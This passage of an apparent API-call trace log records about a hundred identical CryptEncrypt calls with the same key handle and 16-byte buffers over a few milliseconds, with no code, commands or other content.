hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.085] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.086] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.087] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.088] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.089] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.090] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 